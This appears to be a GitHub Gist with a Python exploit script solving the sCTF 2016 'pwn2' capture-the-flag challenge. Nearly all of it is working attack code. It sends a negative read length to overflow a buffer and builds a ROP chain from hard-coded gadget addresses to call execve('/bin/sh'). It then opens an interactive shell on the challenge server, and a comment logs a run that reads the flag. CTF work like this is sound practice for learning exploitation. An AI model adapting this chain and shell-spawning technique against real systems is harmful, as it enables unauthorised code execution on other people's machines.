Last active
October 3, 2016 14:36
-
-
Save hugsy/5702334615d402fc006d7b199e532bd5 to your computer and use it in GitHub Desktop.
sCTF 2016 - pwn2
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# | |
# | |
# hugsy:~/downloads/_pwn2 $ ./gef-exploit.py (13:23) | |
# [+] Connected to problems2.2016q1.sctf.io:1338 | |
# Attach with GDB and hit Enter | |
# [+] Crafting payload | |
# [+] Sent 256 bytes | |
# [+] Got it, interacting (Ctrl-C to break) | |
# [+] Get a PTY with ' python -c "import pty;pty.spawn('/bin/bash')" ' | |
# python -c "import pty;pty.spawn('/bin/bash')" | |
# bash: /home/pwn2/.bashrc: Permission denied | |
# pwn2@sCTF-2016-Q1-ProblemServer2:/home/pwn2$ ls | |
# flag.txt pwn2 | |
# pwn2@sCTF-2016-Q1-ProblemServer2:/home/pwn2$ cat flag.txt | |
# sctf{r0p_70_th3_f1n1sh} | |
# pwn2@sCTF-2016-Q1-ProblemServer2:/home/pwn2$ | |
# | |
# | |
import socket, struct, sys, telnetlib, binascii | |
HOST = "problems2.2016q1.sctf.io" | |
# HOST = "localhost" | |
PORT = 1338 | |
def hexdump(src, length=0x10): | |
f=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)]) ; n=0 ; result='' | |
while src: | |
s,src = src[:length],src[length:]; hexa = ' '.join(["%02X"%ord(x) for x in s]) | |
s = s.translate(f) ; result += "%04X %-*s %s\n" % (n, length*3, hexa, s); n+=length | |
return result | |
def xor(data, key): return ''.join(chr(ord(x) ^ ord(y)) for (x,y) in zip(data, itertools.cycle(key))) | |
def h_p(i,signed=False): return struct.pack("<H", i) if not signed else struct.pack("<h", i) | |
def h_u(i,signed=False): return struct.unpack("<H", i)[0] if not signed else struct.unpack("<h", i)[0] | |
def i_p(i,signed=False): return struct.pack("<I", i) if not signed else struct.pack("<i", i) | |
def i_u(i,signed=False): return struct.unpack("<I", i)[0] if not signed else struct.unpack("<i", i)[0] | |
def q_p(i,signed=False): return struct.pack("<Q", i) if not signed else struct.pack("<q", i) | |
def q_u(i,signed=False): return struct.unpack("<Q", i)[0] if not signed else struct.unpack("<q", i)[0] | |
def _xlog(x): | |
sys.stderr.write(x + "\n") | |
sys.stderr.flush() | |
return | |
def err(msg): _xlog("[!] %s" % msg) | |
def ok(msg): _xlog("[+] %s" % msg) | |
def dbg(msg): _xlog("[*] %s" % msg) | |
def xd(msg): _xlog("[*] Hexdump:\n%s" % hexdump(msg)) | |
def build_socket(host, port): | |
s = telnetlib.Telnet(HOST, PORT) | |
ok("Connected to %s:%d" % (host, port)) | |
return s | |
def interact(s): | |
try: | |
ok("""Get a PTY with ' python -c "import pty;pty.spawn('/bin/bash')" '""") | |
s.interact() | |
except KeyboardInterrupt: | |
ok("Leaving") | |
except Exception as e: | |
err("Unexpected exception: %s" % e) | |
return | |
def syscall(): | |
syscall = 0x080484d0 | |
return i_p(syscall) | |
def set_eax(n): | |
m = "" | |
# 0x08048454 : sar eax, 1 ; jne 0x804845d ; ret | |
sar_eax = 0x08048454 | |
# 0x080484d3 : inc eax ; ret | |
inc_eax = 0x080484d3 | |
m+= i_p(sar_eax)*32 | |
m+= i_p(inc_eax)*n | |
return m | |
def set_ebx(n): | |
m = "" | |
# 0x0804835d : pop ebx ; ret | |
pop_ebx = 0x0804835d | |
# 0x080484d5 : inc ebx ; ret | |
inc_ebx = 0x080484d5 | |
# 0x0804864c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret | |
if n < 256: | |
m+= i_p(0x0804864c) | |
m+= h_p(-1, True) | |
m+= i_p(inc_ebx)*(n+1) | |
return m | |
m+= i_p(pop_ebx) | |
m+= i_p(n) | |
return m | |
def set_ecx_bss(): | |
# 0x804a044 is in bss (rw) | |
# 0x08048495 : add eax, 0x804a044 ; add ecx, ecx ; ret | |
# 0x0804835b : les ecx, ptr [eax] ; pop ebx ; ret | |
add_eax_writable = 0x08048495 | |
les_ecx = 0x0804835b | |
m = "" | |
m+= set_eax(0) | |
m+= i_p(add_eax_writable) | |
m+= i_p(les_ecx) | |
m+= "B"*4 # because of the 'pop ebx' | |
return m | |
def set_edx(n): | |
m = "" | |
pop_ebp = 0x0804864F | |
add_eax_writable = 0x08048495 | |
# 0x08048525 : mov edx, dword ptr [ebp + 8] ; add eax, edx ; mov byte ptr [eax], 0 ; leave ; ret | |
mov_edx_ebp = 0x08048525 | |
# 0x080484d9 : inc edx ; ret | |
inc_edx = 0x080484d9 | |
m+= set_eax(0) | |
m+= i_p(add_eax_writable) # .bss | |
m+= i_p(pop_ebp) | |
m+= i_p(0x804a044) # edx = [ebp + 8] | |
m+= i_p(mov_edx_ebp) # edx = 0 | |
m+= i_p(inc_edx)*n | |
return m | |
def pwn(s): | |
s.read_until("How many bytes do you want me to read? ") | |
s.write("-1\n") | |
s.read_until("!\n") | |
ok("Crafting payload") | |
call_get_n = 0x080484E3 | |
NR_sys_read = 3 | |
NR_sys_execve = 11 | |
sh = "/bin/sh\x00" | |
p = "A"*48 | |
# | |
# we use get_n() to write in .bss | |
# we want .bss like this: | |
# 0x804a044 = 0 << this is because we use a gadget that will set ecx to 0 thx to this | |
# 0x804a04c = /bin/sh (0x804a04c) | |
# | |
p+= i_p(call_get_n) | |
p+= set_ebx(0x804a04c) | |
# sys_execve(/bin/sh, NULL, NULL) | |
p+= set_ebx(0x804a04c) # /bin/sh | |
p+= set_eax(NR_sys_execve) | |
p+= syscall() | |
s.write(p + '\n') | |
ok("Sent %d bytes" % len(p)) | |
# Discard 'You said:...' | |
s.read_until('\n') | |
s.write(sh) | |
return True | |
if __name__ == "__main__": | |
s = build_socket(HOST, PORT) | |
# raw_input("Attach with GDB and hit Enter ") | |
if pwn(s): | |
ok("Got it, interacting (Ctrl-C to break)") | |
interact(s) | |
ret = 0 | |
else: | |
err("Failed to exploit") | |
ret = 1 | |
s.close() | |
exit(ret) | |
# auto-generated by gef |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment